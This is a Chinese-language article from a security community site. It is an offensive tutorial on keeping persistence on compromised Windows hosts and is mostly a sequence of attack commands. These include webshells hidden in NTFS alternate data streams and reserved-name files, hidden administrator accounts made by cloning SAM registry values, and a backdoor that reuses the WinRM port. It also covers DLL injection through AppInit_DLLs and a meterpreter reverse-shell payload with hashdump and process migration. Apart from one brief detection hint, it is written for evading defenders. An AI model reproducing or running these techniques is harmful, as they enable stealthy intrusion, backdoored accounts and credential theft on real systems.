Windows权限维持一

sechub官方2025-08-14文章来源:SecHub网络安全社区


一、隐藏文件

利用文件属性隐藏

1.普通隐藏法

最简单的一种隐藏文件或文件夹的方式,右键属性,勾选隐藏,点击应用、确定后,在这个文件里看不到刚刚的文件或文件夹了。

隐藏文件1.png

2.系统文件隐藏法

使用Attrib +s +a +h +r命令

+s附上系统文件属性、+a附上存档文件属性、+h附上隐藏属性、+r附上只读属性

attrib +s +a +h +r C:\Users\flaray\Desktop\test.txt

隐藏文件5.png

也可以直接:attrib +h +s * /s /d

这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见。

3.注册表改变文件属性设置

普通隐藏法的加强版,设置文件隐藏后打开注册表,找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL

NOHIDDEN是不显示隐藏文件的设置项,SHOWALL是显示所有文件的设置项。

然后在右窗口中找到二进制子键“Checkedvalue”,把其键值改为0,

隐藏文件9.png

这一步的设置是让系统自动设置文件隐藏属性,当取消勾选隐藏文件和文件夹点击确定的那一刻,系统又会自动勾选隐藏,缺点是杀软大概率会报出让修复这一项注册表。

4.透明文件

就是让文件夹透明,骗人眼睛

创建一个文件夹,命名为’z’开头拼音的汉字例如种子,这样的文件夹会排在最后

然后重命名,选中名字点击右键插入Unicode控制字符,选择一种编码确认

隐藏文件22.png

隐藏文件22.png

右键属性-》自定义-》更改图标,选一个透明图标

隐藏文件24.png

隐藏文件25.png

结合CLSID和修改注册表"显示文件属性"SHOWALL一项二进制参数Checkedvalue:

隐藏文件26.png

结合CLSID+windows保留字:

隐藏文件28.png

发现像回收站的CLSID那样的文件名为aux等保留字,类型为CLSID的可以编码(但类似回收站的CLSID图标无法改变是个硬伤),而保留字+CLSID都在名称里的编码会提示过大,超过windows文件夹命名最长限制244字符。

隐藏文件29.png

只有windows保留字也会提示过大:

隐藏文件30.png

利用ADS流隐藏文件

ADS alternate data stream:交换数据流或供选数据流

ADS的创建分为两种,单独存在的和依附于文件的,不仅仅局限于txt文本,图片声音可执行文件多可以作为流文件来存在。

在NTFS分区创建ADS数据流文件有两种形式:一是指定宿主文件;二是创建单独的ADS文件。常用的创建命令有两个:echotype ,echo用于输入常规字符,type则用于将文件附加到目标文件。

单独存在流文件(依赖文件夹):

echo "this is a stream file" > :stream.txt
type C:\Windows\notepad.exe > :np.exe

隐藏文件35.png

查看单独存在流文件内容,因为查看流内容必须依赖文件,所以只能退出上级目录写入上级目录加流文件名称来查看:

notepad test:stream.txt

隐藏文件36.png

依附于文件流:

echo "this is a stream file" > main.txt:stream.txt
type C:\Windows\notepad.exe > main.txt:np.exe

查看流文件:

notepad test.txt:stream.txt

隐藏文件37.png

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo "<?php @eval($_POST['123']);?> > index.php:hidden.jpg
echo "<?php phpinfo());?> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

驱动级文件隐藏

驱动隐藏一般通过一些软件来实现,软件名字叫:EFL(Easy File Locker),仅几百K的小软件很适合黑客上传所以被广泛使用。能通过驱动程序的原理让文件(夹)不被人轻易打开、阅读、修改、删除、移动、复制,甚至让人无法看到。

工具官网地址:

http://xoslab.com/download.html

隐藏文件41.png

添加文件或文件夹可编辑权限,Accessable是"可访问"、Wirtable是"可写(覆盖、移动等)"、Deletable是"可删除"、Visible是"可见",勾选表示允许。只有安装了EFL驱动的主机才能基于驱动拦截对文件(夹)的访问,EFL还可以设置打开密码。

隐藏文件42.png

可看到处在Running状态的EFL将设置为可访问不可读写不可删除不可见的文件夹直接隐藏

隐藏文件43.png

CLSID(类标识符)

什么是CLSID?CLSID是指windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。

操作:创建个文件夹,把需要隐藏的文件放进去

然后修改文件夹名称,在原名称后加上 .{645FF040-5081-101B-9F08-00AA002F954E} 注意前面的有【.】 ,这样含有资料的原文件夹就变成回收站图标了,点击该文件夹会直接跳到回收站。

隐藏文件10.png

隐藏文件11.png

调用该文件:

隐藏文件12.png

CLSID加windows保留字

想更隐蔽些我们可以结合windows保留字使用以下命令:

md \\.\D:\com1.{21ec2020-3aea-1069-A2dd-08002b30309d}
md \\.\D:\aux.{645FF040-5081-101B-9F08-00AA002F954E}

这样生成的文件夹图形化界面可以看到但无法删除、无法修改、无法查看。

隐藏文件14.png

调用:type \.\D:\com1.{21ec2020-3aea-1069-A2dd-08002b30309d}\xxx.xxx

常见的CLSID如下:

我的电脑: {20D04FE0-3AEA-1069-A2D8-08002B30309D}

回收站: {645FF040-5081-101B-9F08-00AA002F954E}

桌面: {00021400-0000-0000-C000-000000000046}

控制面板: {21EC2020-3AEA-1069-A2DD-08002B30309D}

打印机: {2227A280-3AEA-1069-A2DE-08002B30309D}

拔号网络: {A4D92740-67CD-11CF-96F2-00AA00A11DD9}

字体: {BD84B380-8CA2-1069-AB1D-08000948F534}

IE: {871C5380-42A0-1069-A2EA-08002B30309D}

Outlook: {00020D75-0000-0000-C000-000000000046}

网络邻居: {208D2C60-3AEA-1069-A2D7-08002B30309D}

历史文件夹: {FF393560-C2A7-11CF-BFF4-444553540000}

公文包: {85BBD920-42A0-1069-A2E4-08002B30309D}

网络缓存文件夹: {7BD29E00-76C1-11CF-9DD0-00A0C9034933}

特殊文件名

windows系统有些保留文件夹名,windows系统不允许用这些名字命名文件夹,比如:

aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt等。

但是通过copy命令却可以建立包含关键字的文件 Copy命令(必须有):

copy 1.asp \\.\C:\aux.asp(必须有\\.\,绕过windows保留字检测)

方法:

echo "<%eval request("123")%>" >> D:\test\test.asp

copy d:\test\test.asp \\.\D:\test\aux.asp
创建保留字文件夹:md \\.\D:\aux

隐藏文件16.png

创建的文件在图形界面下无法删除,命令行下del D:\aux.php也无法删除

隐藏文件17.png

test.asp被删除了,aux.asp则提示文件名、目录或卷标语法不正确。

rd /s \\.\D:\aux.asp 提示:系统找不到指定的路径。

del \\.\D:\test\aux.asp 提示:系统找不到指定的文件。

畸形文件名

XP系统md xxx…\建立带【.】的文件夹被称为畸形目录

隐藏文件31.png

a…后面不可加空格,否则文件夹会变为直接可删除的a而非a…

图形化无法删除、无法访问、无法修改

隐藏文件32.png

二、隐藏账户

对注册表赋予权限

默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改

现在需要为其添加管理员权限

右键-权限-选中Administrators,允许完全控制

隐藏账户1.png

重启注册表regedit获取对该键值的修改权限

隐藏账户2.png

新建特殊账户(需要高权限)

用户名要以$结尾,添加后,该账户可以在一定条件下输入net user无法获取(但在控制面板和本地用户和组可看到该用户)

CMD下建立了一个用户名为“test$”,密码为 123456 的简单隐藏账户并将该隐藏账户提升为管理员权限。

隐藏账户3.png

隐藏账户4.png

导出注册表

在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户test$

获取默认类型为0x3e9

将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为test1.reg

在注册表下能够找到对应类型名称的注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9

隐藏账户5.png

导出保存为test2.reg

隐藏账户6.png

默认情况下,管理员账户Administrator对应的注册表键值为

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

将其导出保存为test3.reg

将test2.reg中注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003E9下的键F的值替换为test3.reg中注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值

隐藏账户7.png

导入reg文件

regedit /s test1.reg

regedit /s test2.reg

隐藏账户8.png

隐藏账户制做完成,控制面板不存在帐户test$

通过net user无法列出该帐户(注册表中能看到)

计算机管理-本地用户和组-用户也无法列出该帐户

激活Guest用户

windows中有一个特殊用户叫Guest,是一个内置账户,平时一直都处于禁用状态

隐藏账户13.png

这个方法是激活Guest并且设置一个账户密码,让后把他弄到Administrator里。

激活Guest(管理员powershell):

隐藏账户14.png

设置密码和添加管理组:

隐藏账户15.png

三、端口复用

通过端口复用来达到隐藏端口的目的,在Window下,如何实现端口复用呢?

HTTP.sys端口复用

该端口复用的原理是使用Windows的远程管理服务WinRM,结合 HTTP.sys 驱动自带的端口复用功能,一起实现正向的端口复用后门。

(WinRM远程管理工具的使用WinRM的配置-》通过WinRM执行程序-》利用WinRM远程连接主机-》客户端连接)

HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。WinRM就是在HTTP.sys上注册了 wsman 的URL前缀,默认监听 5985端口(http 5985 https 5986)。因此,在安装了IIS的Windows服务器上,开启WinRM服务后修改默认监听端口为80或新增一个80端口的监听即可实现端口复用,通过Web端口登录Windows服务器。

Net.TCP Port Sharing服务是WCF(Windows Communication Foundation)中的一个新的系统组件,这个服务会开启net.tcp 端口共享功能以达到在用户的不同进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的,目前将许多不同HTTP应用程序的流量复用到单个TCP端口上的HTTP.SYS模型已经成为Windows平台上的标准配置。这为防火墙管理员提供了一个共同的控制点,同时允许应用程序开发人员最小化构建可利用网络新应用程序的部署成本。跨多个 HTTP应用程序共享端口的功能一直是Internet信息服务(IIS)的一项功能。实际上,HTTP.SYS允许任意用户进程共享专用于HTTP流量的TCP端口。

HTTP.sys是在Windows Server 2003最开始引进的,这个驱动监听HTTP流量,然后根据URL注册的情况去分发,这样多个进程可以在同一个端口监听HTTP流量。

端口复用12.png

查看注册过的URL前缀

使用 netsh http show servicestate 命令可以查看所有在 HTTP.sys 驱动上注册过的URL前缀(winserver 2008R2)。

端口复用1.png

新增80端口监听(2012)

​ 对于Windows Server 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口。如果服务器本来就监听了80和5985端口,则所以我们既需要保留原本的5985监听端口,同时需要新增Winrm监听80端口。这样的话,WinRM同时监听80和5985端口。既能保证原来的5985端口管理员可以正常使用,我们也能通过80端口远程连接WinRM。

不确定端口是否开放可以查看:netstat -ano|findstr “port”

一般开启WinRM服务作为远程管理,但还是第一次听到可以作为端口复用,一种简单容易实现的端口复用方式。假设,攻击者已获取到administrator账号密码,连接远程WinRM服务执行命令:

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

端口复用2.png

查看是否新增WinRM端口监听:

端口复用3.png

netstat -ano | findstr “80” 端口仍在监听。80端口IIS仍然能访问:

端口复用4.png

修改WinRM默认监听的端口(2008)

如果该计算机上原本没有开启WinRM服务的话(winserver 2008R2),则需要将WinRm端口监听端口修改为80端口。不然管理员看到该机器开起来5985端口的话,肯定会起疑心。

快速启动WinRM

winrm quickconfig -q

修改WinRM默认端口为80

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

端口复用5.png

端口复用6.png

查看监听端口,只有80没有5985

端口复用7.png

原HTTP服务仍然可以访问

端口复用8.png

远程连接WinRM

连接WinRM服务也需要在本地配置启动WinRM服务,如果是工作环境还需要设置信任连接的主机。

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

端口复用9.png

通过WinRM连接并执行whoami命令
winrs -r:http://192.168.10.4 -u:administrator -p:password whoami

通过WinRM连接,并获得交互式的shell
winrs -r:http://192.168.10.20 -u:administrator -p:password cmd

端口复用10.png

端口复用11.png

UAC问题

WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后使用管理员组用户即可登录WinRM。

net localgroup administrators test /add

端口复用17

四、进程注入

进程注入是一种在独立的活动进程的地址空间中执行任意代码的方法,在另一个进程的上下文中运行代码,会允许访问该进程的内存、系统资源、网络资源以及可能的特权提升。由于执行的代码由合法的程序代理执行,因此通过进程注入执行也可能会绕过部分安全产品的防病毒检测或进程白名单检测,是病毒木马的惯用手段,同时,它也是一种隐藏技术。

大体上,进程注入可以分为两种形式:

  • DLL注入
  • Shellcode注入

DLL注入技术,通俗来讲是向一个正在运行的进程插入/注入代码的过程。注入的代码以**动态链接库(DLL)**的形式存在,而DLL也是shellcode汇编代码。

通过修改注册表实现注入和持久性

windows整个系统的配置都保存在这个注册表中,我们可以通过调整其中的设置来改变系统的行为,恶意软件常用于注入和持久性的注册表项条目位于以下位置:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
等于(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows)

HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
等于(HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows)

HKLM\System\CurrentControlSet\Control\Session Manager\AppCertDlls

HKLM\Software\Microsoft\Windows NT\currentversion\image file execution options
等于(\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options)

Appinit_DLLs

当User32.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知,当User32.dll对它进行处理的时候,会取得上述注册表键的值,并调用LoadLibary来载入这个字符串中指定的每个DLL。

User32.dll是一个非常常见的库,用于存储对话框等图形元素。该键值被修改时,大多数进程将加载恶意库。

从原理上,该方法很像linux下的LD_PRELOAD注入技术。在win7之后,windows对dll加载的安全性增加了控制

端口复用11.png

如图需要将LoadApplnit_DLLs键值设置为1(1为启动进程时加载对应的DLL,默认为0不启用),Applnit_DLLs键值指向我们要注入的路径,DLL路径中不能 有空格

排查:打开pchunter"应用层钩子"即可看到被注入的DLL

DLL注入2.png

AppCertDLLs

原理:如果有进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec函数,那么进程会获取HKLM\System\CurrentControlSet\Control\SessionManager\AppCertDlls

没有AppcertDLLs键值的话需要创建一个再编写dll文件导入到键值。

meterpreter会话注入

首先尝试使用MSFVenom生成shellcode,并且将shellcode注入到远程进程。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.67.128 lport=4444 -f exe -o /root/Desktop/1.exe

msf上线:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.67.128
lhost => 192.168.67.128
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit

如下,需要拥有SYSTEM权限才能获取hash值,无法getsystem,ps查看下目前系统进程

meterpreter > run hashdump
[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY f906ed8ed707eeb9da29ef8d6f433d8f...
[-] Meterpreter Exception: Rex::Post::Meterpreter::RequestError 1042: Operation failed: Access is denied.
[-] This script requires the use of a SYSTEM user context (hint: migrate into service process)
meterpreter > getsystem
[-] 2001: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)

通过migrate将进程注入到system权限的进程。

挑选一个进程使用(正常情况下很少有NT SYSTEM权限的进程):

migrate XXXX	(xxxx是ID号,想注入某进程就输入此进程PID)